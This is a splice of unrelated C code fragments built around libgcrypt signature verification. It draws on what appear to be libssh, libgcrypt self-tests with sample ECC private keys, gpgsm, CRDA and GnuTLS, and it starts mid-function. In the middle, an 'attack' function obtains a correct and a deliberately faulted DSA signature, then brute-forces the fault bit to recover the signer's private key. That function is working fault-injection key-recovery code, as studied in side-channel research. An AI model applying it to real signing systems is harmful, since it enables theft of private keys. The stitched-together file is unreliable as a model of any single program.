"RSA error: %s", gcry_strerror(valid));
return -1;
}
valid = gcry_pk_verify(signature->rsa_sign,gcryhash,pubkey->rsa_pub);
gcry_sexp_release(gcryhash);
if (valid == 0) {
return 0;
}
if (gcry_err_code(valid) != GPG_ERR_BAD_SIGNATURE) {
ssh_set_error(session, SSH_FATAL,
"RSA error: %s", gcry_strerror(valid));
return -1;
}
#elif defined HAVE_LIBCRYPTO
valid = RSA_verify(NID_sha1, hash + 1, SHA_DIGEST_LEN,
signature->rsa_sign->string, ssh_string_len(signature->rsa_sign),
pubkey->rsa_pub);
if (valid == 1) {
return 0;
}
if (valid == -1) {
ssh_set_error(session, SSH_FATAL,
"RSA error: %s", ERR_error_string(ERR_get_error(), NULL));
return -1;
}
#endif
ssh_set_error(session, SSH_FATAL, "Invalid RSA signature");
return -1;
default:
ssh_set_error(session, SSH_FATAL, "Unknown public key type");
return -1;
}
return -1;
}
static void
check_ecc_sample_key (void)
{
static const char ecc_private_key[] =
"(private-key\n"
" (ecdsa\n"
" (curve \"NIST P-256\")\n"
" (q #04D4F6A6738D9B8D3A7075C1E4EE95015FC0C9B7E4272D2BEB6644D3609FC781"
"B71F9A8072F58CB66AE2F89BB12451873ABF7D91F9E1FBF96BF2F70E73AAC9A283#)\n"
" (d #5A1EF0035118F19F3110FB81813D3547BCE1E5BCE77D1F744715E1D5BBE70378#)"
"))";
static const char ecc_private_key_wo_q[] =
"(private-key\n"
" (ecdsa\n"
" (curve \"NIST P-256\")\n"
" (d #5A1EF0035118F19F3110FB81813D3547BCE1E5BCE77D1F744715E1D5BBE70378#)"
"))";
static const char ecc_public_key[] =
"(public-key\n"
" (ecdsa\n"
" (curve \"NIST P-256\")\n"
" (q #04D4F6A6738D9B8D3A7075C1E4EE95015FC0C9B7E4272D2BEB6644D3609FC781"
"B71F9A8072F58CB66AE2F89BB12451873ABF7D91F9E1FBF96BF2F70E73AAC9A283#)"
"))";
static const char hash_string[] =
"(data (flags raw)\n"
" (value #00112233445566778899AABBCCDDEEFF"
/* */ "000102030405060708090A0B0C0D0E0F#))";
gpg_error_t err;
gcry_sexp_t key, hash, sig;
if (verbose)
fprintf (stderr, "Checking sample ECC key.\n");
if ((err = gcry_sexp_new (&hash, hash_string, 0, 1)))
die ("line %d: %s", __LINE__, gpg_strerror (err));
if ((err = gcry_sexp_new (&key, ecc_private_key, 0, 1)))
die ("line %d: %s", __LINE__, gpg_strerror (err));
if ((err = gcry_pk_sign (&sig, hash, key)))
die ("gcry_pk_sign failed: %s", gpg_strerror (err));
gcry_sexp_release (key);
if ((err = gcry_sexp_new (&key, ecc_public_key, 0, 1)))
die ("line %d: %s", __LINE__, gpg_strerror (err));
if ((err = gcry_pk_verify (sig, hash, key)))
die ("gcry_pk_verify failed: %s", gpg_strerror (err));
/* Now try signing without the Q parameter. */
gcry_sexp_release (key);
if ((err = gcry_sexp_new (&key, ecc_private_key_wo_q, 0, 1)))
die ("line %d: %s", __LINE__, gpg_strerror (err));
gcry_sexp_release (sig);
if ((err = gcry_pk_sign (&sig, hash, key)))
die ("gcry_pk_sign without Q failed: %s", gpg_strerror (err));
gcry_sexp_release (key);
if ((err = gcry_sexp_new (&key, ecc_public_key, 0, 1)))
die ("line %d: %s", __LINE__, gpg_strerror (err));
if ((err = gcry_pk_verify (sig, hash, key)))
die ("gcry_pk_verify signed without Q failed: %s", gpg_strerror (err));
gcry_sexp_release (sig);
gcry_sexp_release (key);
gcry_sexp_release (hash);
}
static void
check_ed25519ecdsa_sample_key (void)
{
static const char ecc_private_key[] =
"(private-key\n"
" (ecc\n"
" (curve \"Ed25519\")\n"
" (q #044C056555BE4084BB3D8D8895FDF7C2893DFE0256251923053010977D12658321"
" 156D1ADDC07987713A418783658B476358D48D582DB53233D9DED3C1C2577B04#)"
" (d #09A0C38E0F1699073541447C19DA12E3A07A7BFDB0C186E4AC5BCE6F23D55252#)"
"))";
static const char ecc_private_key_wo_q[] =
"(private-key\n"
" (ecc\n"
" (curve \"Ed25519\")\n"
" (d #09A0C38E0F1699073541447C19DA12E3A07A7BFDB0C186E4AC5BCE6F23D55252#)"
"))";
static const char ecc_public_key[] =
"(public-key\n"
" (ecc\n"
" (curve \"Ed25519\")\n"
" (q #044C056555BE4084BB3D8D8895FDF7C2893DFE0256251923053010977D12658321"
" 156D1ADDC07987713A418783658B476358D48D582DB53233D9DED3C1C2577B04#)"
"))";
static const char ecc_public_key_comp[] =
"(public-key\n"
" (ecc\n"
" (curve \"Ed25519\")\n"
" (q #047b57c2c1d3ded93332b52d588dd45863478b658387413a718779c0dd1a6d95#)"
"))";
static const char hash_string[] =
"(data (flags ecdsa rfc6979)\n"
" (hash sha256 #00112233445566778899AABBCCDDEEFF"
/* */ "000102030405060708090A0B0C0D0E0F#))";
gpg_error_t err;
gcry_sexp_t key, hash, sig;
if (verbose)
fprintf (stderr, "Checking sample Ed25519/ECDSA key.\n");
/* Sign. */
if ((err = gcry_sexp_new (&hash, hash_string, 0, 1)))
die ("line %d: %s", __LINE__, gpg_strerror (err));
if ((err = gcry_sexp_new (&key, ecc_private_key, 0, 1)))
die ("line %d: %s", __LINE__, gpg_strerror (err));
if ((err = gcry_pk_sign (&sig, hash, key)))
die ("gcry_pk_sign failed: %s", gpg_strerror (err));
/* Verify. */
gcry_sexp_release (key);
if ((err = gcry_sexp_new (&key, ecc_public_key, 0, 1)))
die ("line %d: %s", __LINE__, gpg_strerror (err));
if ((err = gcry_pk_verify (sig, hash, key)))
die ("gcry_pk_verify failed: %s", gpg_strerror (err));
/* Verify again using a compressed public key. */
gcry_sexp_release (key);
if ((err = gcry_sexp_new (&key, ecc_public_key_comp, 0, 1)))
die ("line %d: %s", __LINE__, gpg_strerror (err));
if ((err = gcry_pk_verify (sig, hash, key)))
die ("gcry_pk_verify failed (comp): %s", gpg_strerror (err));
/* Sign without a Q parameter. */
gcry_sexp_release (key);
if ((err = gcry_sexp_new (&key, ecc_private_key_wo_q, 0, 1)))
die ("line %d: %s", __LINE__, gpg_strerror (err));
gcry_sexp_release (sig);
if ((err = gcry_pk_sign (&sig, hash, key)))
die ("gcry_pk_sign w/o Q failed: %s", gpg_strerror (err));
/* Verify. */
gcry_sexp_release (key);
if ((err = gcry_sexp_new (&key, ecc_public_key, 0, 1)))
die ("line %d: %s", __LINE__, gpg_strerror (err));
if ((err = gcry_pk_verify (sig, hash, key)))
die ("gcry_pk_verify signed w/o Q failed: %s", gpg_strerror (err));
/* Verify again using a compressed public key. */
gcry_sexp_release (key);
if ((err = gcry_sexp_new (&key, ecc_public_key_comp, 0, 1)))
die ("line %d: %s", __LINE__, gpg_strerror (err));
if ((err = gcry_pk_verify (sig, hash, key)))
die ("gcry_pk_verify signed w/o Q failed (comp): %s", gpg_strerror (err));
extract_cmp_data (sig, "r", ("a63123a783ef29b8276e08987daca4"
"655d0179e22199bf63691fd88eb64e15"));
extract_cmp_data (sig, "s", ("0d9b45c696ab90b96b08812b485df185"
"623ddaf5d02fa65ca5056cb6bd0f16f1"));
gcry_sexp_release (sig);
gcry_sexp_release (key);
gcry_sexp_release (hash);
}
int
gpgsm_check_cms_signature (ksba_cert_t cert, ksba_const_sexp_t sigval,
gcry_md_hd_t md, int mdalgo, int *r_pkalgo)
{
int rc;
ksba_sexp_t p;
gcry_mpi_t frame;
gcry_sexp_t s_sig, s_hash, s_pkey;
size_t n;
int pkalgo;
if (r_pkalgo)
*r_pkalgo = 0;
n = gcry_sexp_canon_len (sigval, 0, NULL, NULL);
if (!n)
{
log_error ("libksba did not return a proper S-Exp\n");
return gpg_error (GPG_ERR_BUG);
}
rc = gcry_sexp_sscan (&s_sig, NULL, (char*)sigval, n);
if (rc)
{
log_error ("gcry_sexp_scan failed: %s\n", gpg_strerror (rc));
return rc;
}
p = ksba_cert_get_public_key (cert);
n = gcry_sexp_canon_len (p, 0, NULL, NULL);
if (!n)
{
log_error ("libksba did not return a proper S-Exp\n");
ksba_free (p);
gcry_sexp_release (s_sig);
return gpg_error (GPG_ERR_BUG);
}
if (DBG_CRYPTO)
log_printhex ("public key: ", p, n);
rc = gcry_sexp_sscan ( &s_pkey, NULL, (char*)p, n);
ksba_free (p);
if (rc)
{
log_error ("gcry_sexp_scan failed: %s\n", gpg_strerror (rc));
gcry_sexp_release (s_sig);
return rc;
}
pkalgo = pk_algo_from_sexp (s_pkey);
if (r_pkalgo)
*r_pkalgo = pkalgo;
rc = do_encode_md (md, mdalgo, pkalgo,
gcry_pk_get_nbits (s_pkey), s_pkey, &frame);
if (rc)
{
gcry_sexp_release (s_sig);
gcry_sexp_release (s_pkey);
return rc;
}
/* put hash into the S-Exp s_hash */
if ( gcry_sexp_build (&s_hash, NULL, "%m", frame) )
BUG ();
gcry_mpi_release (frame);
rc = gcry_pk_verify (s_sig, s_hash, s_pkey);
if (DBG_X509)
log_debug ("gcry_pk_verify: %s\n", gpg_strerror (rc));
gcry_sexp_release (s_sig);
gcry_sexp_release (s_hash);
gcry_sexp_release (s_pkey);
return rc;
}
/* Check the signature on CERT using the ISSUER_CERT. This function
does only test the cryptographic signature and nothing else. It is
assumed that the ISSUER_CERT is valid. */
static gpg_error_t
check_cert_sig (ksba_cert_t issuer_cert, ksba_cert_t cert)
{
gpg_error_t err;
const char *algoid;
gcry_md_hd_t md;
int i, algo;
ksba_sexp_t p;
size_t n;
gcry_sexp_t s_sig, s_hash, s_pkey;
const char *s;
char algo_name[16+1]; /* hash algorithm name converted to lower case. */
int digestlen;
unsigned char *digest;
/* Hash the target certificate using the algorithm from that certificate. */
algoid = ksba_cert_get_digest_algo (cert);
algo = gcry_md_map_name (algoid);
if (!algo)
{
log_error (_("unknown hash algorithm '%s'\n"), algoid? algoid:"?");
return gpg_error (GPG_ERR_GENERAL);
}
s = gcry_md_algo_name (algo);
for (i=0; *s && i < sizeof algo_name - 1; s++, i++)
algo_name[i] = tolower (*s);
algo_name[i] = 0;
err = gcry_md_open (&md, algo, 0);
if (err)
{
log_error ("md_open failed: %s\n", gpg_strerror (err));
return err;
}
if (DBG_HASHING)
gcry_md_debug (md, "hash.cert");
err = ksba_cert_hash (cert, 1, HASH_FNC, md);
if (err)
{
log_error ("ksba_cert_hash failed: %s\n", gpg_strerror (err));
gcry_md_close (md);
return err;
}
gcry_md_final (md);
/* Get the signature value out of the target certificate. */
p = ksba_cert_get_sig_val (cert);
n = gcry_sexp_canon_len (p, 0, NULL, NULL);
if (!n)
{
log_error ("libksba did not return a proper S-Exp\n");
gcry_md_close (md);
ksba_free (p);
return gpg_error (GPG_ERR_BUG);
}
if (DBG_CRYPTO)
{
int j;
log_debug ("signature value:");
for (j=0; j < n; j++)
log_printf (" %02X", p[j]);
log_printf ("\n");
}
err = gcry_sexp_sscan ( &s_sig, NULL, p, n);
ksba_free (p);
if (err)
{
log_error ("gcry_sexp_scan failed: %s\n", gpg_strerror (err));
gcry_md_close (md);
return err;
}
/* Get the public key from the issuer certificate. */
p = ksba_cert_get_public_key (issuer_cert);
n = gcry_sexp_canon_len (p, 0, NULL, NULL);
if (!n)
{
log_error ("libksba did not return a proper S-Exp\n");
gcry_md_close (md);
ksba_free (p);
gcry_sexp_release (s_sig);
return gpg_error (GPG_ERR_BUG);
}
err = gcry_sexp_sscan ( &s_pkey, NULL, p, n);
ksba_free (p);
if (err)
{
log_error ("gcry_sexp_scan failed: %s\n", gpg_strerror (err));
gcry_md_close (md);
gcry_sexp_release (s_sig);
return err;
}
/* Prepare the values for signature verification. At this point we
have these values:
S_PKEY - S-expression with the issuer's public key.
S_SIG - Signature value as given in the certrificate.
MD - Finalized hash context with hash of the certificate.
ALGO_NAME - Lowercase hash algorithm name
*/
digestlen = gcry_md_get_algo_dlen (algo);
digest = gcry_md_read (md, algo);
if (pk_algo_from_sexp (s_pkey) == GCRY_PK_DSA)
{
if (digestlen != 20)
{
log_error (_("DSA requires the use of a 160 bit hash algorithm\n"));
gcry_md_close (md);
gcry_sexp_release (s_sig);
gcry_sexp_release (s_pkey);
return gpg_error (GPG_ERR_INTERNAL);
}
if ( gcry_sexp_build (&s_hash, NULL, "(data(flags raw)(value %b))",
(int)digestlen, digest) )
BUG ();
}
else /* Not DSA. */
{
if ( gcry_sexp_build (&s_hash, NULL, "(data(flags pkcs1)(hash %s %b))",
algo_name, (int)digestlen, digest) )
BUG ();
}
err = gcry_pk_verify (s_sig, s_hash, s_pkey);
if (DBG_X509)
log_debug ("gcry_pk_verify: %s\n", gpg_strerror (err));
gcry_md_close (md);
gcry_sexp_release (s_sig);
gcry_sexp_release (s_hash);
gcry_sexp_release (s_pkey);
return err;
}
/*
* Checks the validity of the signature found on the regulatory
* database against the array 'keys'. Returns 1 if there exists
* at least one key in the array such that the signature is valid
* against that key; 0 otherwise.
*/
int crda_verify_db_signature(__u8 *db, int dblen, int siglen)
{
#ifdef USE_OPENSSL
RSA *rsa;
__u8 hash[SHA_DIGEST_LENGTH];
unsigned int i;
int ok = 0;
DIR *pubkey_dir;
struct dirent *nextfile;
FILE *keyfile;
char filename[PATH_MAX];
if (SHA1(db, dblen, hash) != hash) {
fprintf(stderr, "Failed to calculate SHA1 sum.\n");
goto out;
}
for (i = 0; (i < sizeof(keys)/sizeof(keys[0])) && (!ok); i++) {
rsa = RSA_new();
if (!rsa) {
fprintf(stderr, "Failed to create RSA key.\n");
goto out;
}
rsa->e = &keys[i].e;
rsa->n = &keys[i].n;
ok = RSA_verify(NID_sha1, hash, SHA_DIGEST_LENGTH,
db + dblen, siglen, rsa) == 1;
rsa->e = NULL;
rsa->n = NULL;
RSA_free(rsa);
}
if (!ok && (pubkey_dir = opendir(PUBKEY_DIR))) {
while (!ok && (nextfile = readdir(pubkey_dir))) {
snprintf(filename, PATH_MAX, "%s/%s", PUBKEY_DIR,
nextfile->d_name);
if ((keyfile = fopen(filename, "rb"))) {
rsa = PEM_read_RSA_PUBKEY(keyfile,
NULL, NULL, NULL);
if (rsa)
ok = RSA_verify(NID_sha1, hash, SHA_DIGEST_LENGTH,
db + dblen, siglen, rsa) == 1;
RSA_free(rsa);
fclose(keyfile);
}
}
closedir(pubkey_dir);
}
#endif
#ifdef USE_GCRYPT
gcry_mpi_t mpi_e, mpi_n;
gcry_sexp_t rsa, signature, data;
__u8 hash[20];
unsigned int i;
int ok = 0;
/* initialise */
gcry_check_version(NULL);
/* hash the db */
gcry_md_hash_buffer(GCRY_MD_SHA1, hash, db, dblen);
if (gcry_sexp_build(&data, NULL, "(data (flags pkcs1) (hash sha1 %b))",
20, hash)) {
fprintf(stderr, "Failed to build data S-expression.\n");
goto out;
}
if (gcry_sexp_build(&signature, NULL, "(sig-val (rsa (s %b)))",
siglen, db + dblen)) {
fprintf(stderr, "Failed to build signature S-expression.\n");
goto out;
}
for (i = 0; (i < sizeof(keys)/sizeof(keys[0])) && (!ok); i++) {
if (gcry_mpi_scan(&mpi_e, GCRYMPI_FMT_USG,
keys[i].e, keys[i].len_e, NULL) ||
gcry_mpi_scan(&mpi_n, GCRYMPI_FMT_USG,
keys[i].n, keys[i].len_n, NULL)) {
fprintf(stderr, "Failed to convert numbers.\n");
goto out;
}
if (gcry_sexp_build(&rsa, NULL,
"(public-key (rsa (n %m) (e %m)))",
mpi_n, mpi_e)) {
fprintf(stderr, "Failed to build RSA S-expression.\n");
goto out;
}
ok = gcry_pk_verify(signature, data, rsa) == 0;
}
#endif
#if defined(USE_OPENSSL) || defined(USE_GCRYPT)
if (!ok)
fprintf(stderr, "Database signature verification failed.\n");
out:
return ok;
#else
return 1;
#endif
}
void attack(int i, unsigned char *digest, int hash_len){
void* dsa_buf;
gcry_sexp_t new_dsa_key_pair;
gcry_sexp_t ciphertext , plaintext, ptx2, ctx2;
gcry_sexp_t r_param, r_tilda_param;
gcry_sexp_t s_param, s_tilda_param;
gcry_sexp_t g_param;
gcry_sexp_t p_param;
gcry_sexp_t q_param;
gcry_sexp_t m_param;
gcry_sexp_t y_param;
gcry_sexp_t x_param;
gcry_sexp_t misc_param;
gcry_error_t err;
gcry_mpi_t msg_digest, m;
gcry_mpi_t r , r_tilda;
gcry_mpi_t s , s_tilda;
gcry_mpi_t g;
gcry_mpi_t p;
gcry_mpi_t q;
gcry_mpi_t y;
gcry_mpi_t x;
retrieve_key_pair(files[i]);
//*************** CORRECT SIGNATURE ********************//
//20 is the mdlen of sha1 as specified in https://lists.gnupg.org/pipermail/gnupg-devel/2013-September/027916.html
//a well formatted number for the immaediate has an even number of digits
err = gcry_sexp_build(&plaintext, NULL, "(data (flags rfc6979) (hash %s %b))" , "sha1", hash_len , digest);
err = gcry_pk_sign(&ciphertext, plaintext, dsa_key_pair);
//now let's convert the s-expression representing r into an MPI in order
//to use it in the equation of the attack
//--------- CIPHERTEXT --------------
//intercepted during some sniffing...
r_param = gcry_sexp_find_token(ciphertext, "r", 0);
r = gcry_sexp_nth_mpi ( r_param , 1, GCRYMPI_FMT_USG);
s_param = gcry_sexp_find_token(ciphertext, "s", 0);
s = gcry_sexp_nth_mpi ( s_param , 1, GCRYMPI_FMT_USG);
//--------- PUB KEY --------------
g_param = gcry_sexp_find_token(dsa_key_pair, "g", 0);
g = gcry_sexp_nth_mpi ( g_param , 1, GCRYMPI_FMT_USG);
p_param = gcry_sexp_find_token(dsa_key_pair, "p", 0);
p = gcry_sexp_nth_mpi ( p_param , 1, GCRYMPI_FMT_USG);
q_param = gcry_sexp_find_token(dsa_key_pair, "q", 0);
q = gcry_sexp_nth_mpi ( q_param , 1, GCRYMPI_FMT_USG);
y_param = gcry_sexp_find_token(dsa_key_pair, "y", 0);
y = gcry_sexp_nth_mpi ( y_param , 1, GCRYMPI_FMT_USG);
x_param = gcry_sexp_find_token(dsa_key_pair, "x", 0);
x = gcry_sexp_nth_mpi ( x_param , 1, GCRYMPI_FMT_USG);
misc_param = gcry_sexp_find_token(dsa_key_pair, "misc-key-info", 0);
//*************** FAULTY SIGNATURE ********************//
err = gcry_sexp_build(&ptx2, NULL, "(data (flags rfc6979) (hash %s %b) (attack2_inv))" , "sha1", hash_len , digest);
err = gcry_pk_sign(&ctx2, ptx2, dsa_key_pair);
s_tilda_param = gcry_sexp_find_token(ctx2, "s", 0);
s_tilda = gcry_sexp_nth_mpi ( s_tilda_param , 1, GCRYMPI_FMT_USG);
r_tilda_param = gcry_sexp_find_token(ctx2, "r", 0);
r_tilda = gcry_sexp_nth_mpi ( r_tilda_param , 1, GCRYMPI_FMT_USG);
m_param = gcry_sexp_find_token(ptx2, "hash", 0);
m = gcry_sexp_nth_mpi ( m_param , 2, GCRYMPI_FMT_USG);
//NOW LET'S START THE ATTACK
unsigned long e = 0;
unsigned int qbits = mpi_get_nbits(q);
unsigned int pbits = mpi_get_nbits(p);
gcry_mpi_t one = gcry_mpi_set_ui(NULL, 1);
gcry_mpi_t tmp = gcry_mpi_new(qbits);
gcry_mpi_t result = gcry_mpi_new(mpi_get_nbits(s));
gcry_mpi_invm(r,r,q); // r^-1
for(e = 0; e < qbits; e++){
gcry_mpi_t twoi = gcry_mpi_new(e);
gcry_mpi_mul_2exp(twoi, one, e); // twoi = 2^e
//retrieve k
gcry_mpi_invm(tmp, twoi, q); // (2^e)^-1 mod q
gcry_mpi_subm(result, s_tilda, s, q); // s_tilda - s mod q
gcry_mpi_mulm(result,result, tmp, q); // (s_tilda - s mod q)*((2^e)^-1 mod q) === k
//retrieve x
gcry_mpi_mulm(result, s, result,q); // s*k mod q
gcry_mpi_subm(result, result, m, q); // s*k - m mod q
gcry_mpi_mulm(result, result,r,q); //(s*k -m)*r^-1 mod q
err = gcry_sexp_build(&new_dsa_key_pair,NULL,
"(key-data"
" (public-key"
" (dsa(p%m)(q%m)(g%m)(y%m)))"
" (private-key"
" (dsa(p%m)(q%m)(g%m)(y%m)(x%m))))",
p,q,g,y,p,q,g,y,result);
err = gcry_pk_sign(&ctx2, plaintext, new_dsa_key_pair);
err = gcry_pk_verify(ctx2, plaintext, dsa_key_pair);
if (err) {
//puts("gcrypt: verify failed");
continue;
}
else{
printf("\n[!!!]PRIVATE KEY %d %d BITS CRACKED!!\n" , pbits,qbits );
printf("[DBG] BIT: %d FAULT: k-2^e\n" , (int)e); //DEBUG
DEBUG_MPI_PRINT(result,"X = ");
printf("\n");
return;
}
}
for(e = 0; e < qbits; e++){
gcry_mpi_t twoi = gcry_mpi_new(e);
gcry_mpi_mul_2exp(twoi, one, e); // twoi = 2^e
//retrieve k
gcry_mpi_invm(tmp, twoi, q); // (2^e)^-1 mod q
gcry_mpi_subm(result, s, s_tilda, q); // s - s_tilda mod q
gcry_mpi_mulm(result,result, tmp, q); // (s - s_tilda mod q)*((2^e)^-1 mod q) === k
//retrieve x
gcry_mpi_mulm(result, s, result,q); // s*k mod q
gcry_mpi_subm(result, result, m, q); // s*k - m mod q
gcry_mpi_mulm(result, result,r,q); //(s*k -m)*r^-1 mod q
err = gcry_sexp_build(&new_dsa_key_pair,NULL,
"(key-data"
" (public-key"
" (dsa(p%m)(q%m)(g%m)(y%m)))"
" (private-key"
" (dsa(p%m)(q%m)(g%m)(y%m)(x%m))))",
p,q,g,y,p,q,g,y,result);
err = gcry_pk_sign(&ctx2, plaintext, new_dsa_key_pair);
err = gcry_pk_verify(ctx2, plaintext, dsa_key_pair);
if (err) {
//puts("gcrypt: verify failed");
continue;
}
else{
printf("\n[!!!]PRIVATE KEY %d %d BITS CRACKED!!\n" , pbits,qbits );
printf("[DBG] BIT: %d FAULT: k+2^e\n" , (int)e); //DEBUG
DEBUG_MPI_PRINT(result,"X = ");
printf("\n");
return;
}
}
}
static int
_gnutls_pk_verify (int algo, mpi_t hash, mpi_t * data,
mpi_t * pkey, int pkey_len)
{
gcry_sexp_t s_sig, s_hash, s_pkey;
int rc = -1;
/* make a sexp from pkey */
switch (algo)
{
case GCRY_PK_DSA:
if (pkey_len >= 4)
rc = gcry_sexp_build (&s_pkey, NULL,
"(public-key(dsa(p%m)(q%m)(g%m)(y%m)))",
pkey[0], pkey[1], pkey[2], pkey[3]);
break;
case GCRY_PK_RSA:
if (pkey_len >= 2)
rc = gcry_sexp_build (&s_pkey, NULL,
"(public-key(rsa(n%m)(e%m)))",
pkey[0], pkey[1]);
break;
default:
gnutls_assert ();
return GNUTLS_E_INTERNAL_ERROR;
}
if (rc != 0)
{
gnutls_assert ();
return GNUTLS_E_INTERNAL_ERROR;
}
/* put the data into a simple list */
if (gcry_sexp_build (&s_hash, NULL, "%m", hash))
{
gnutls_assert ();
gcry_sexp_release (s_pkey);
return GNUTLS_E_INTERNAL_ERROR;
}
switch (algo)
{
case GCRY_PK_DSA:
rc = gcry_sexp_build (&s_sig, NULL,
"(sig-val(dsa(r%m)(s%m)))", data[0], data[1]);
break;
case GCRY_PK_RSA:
rc = gcry_sexp_build (&s_sig, NULL, "(sig-val(rsa(s%m)))", data[0]);
break;
default:
gnutls_assert ();
gcry_sexp_release (s_pkey);
gcry_sexp_release (s_hash);
return GNUTLS_E_INTERNAL_ERROR;
}
if (rc != 0)
{
gnutls_assert ();
gcry_sexp_release (s_pkey);
gcry_sexp_release (s_hash);
return GNUTLS_E_INTERNAL_ERROR;
}
rc = gcry_pk_verify (s_sig, s_hash, s_pkey);
gcry_sexp_release (s_sig);
gcry_sexp_release (s_hash);
gcry_sexp_release (s_pkey);
if (rc != 0)
{
gnutls_assert ();
return GNUTLS_E_PK_SIG_VERIFY_FAILED;
}
return 0;
}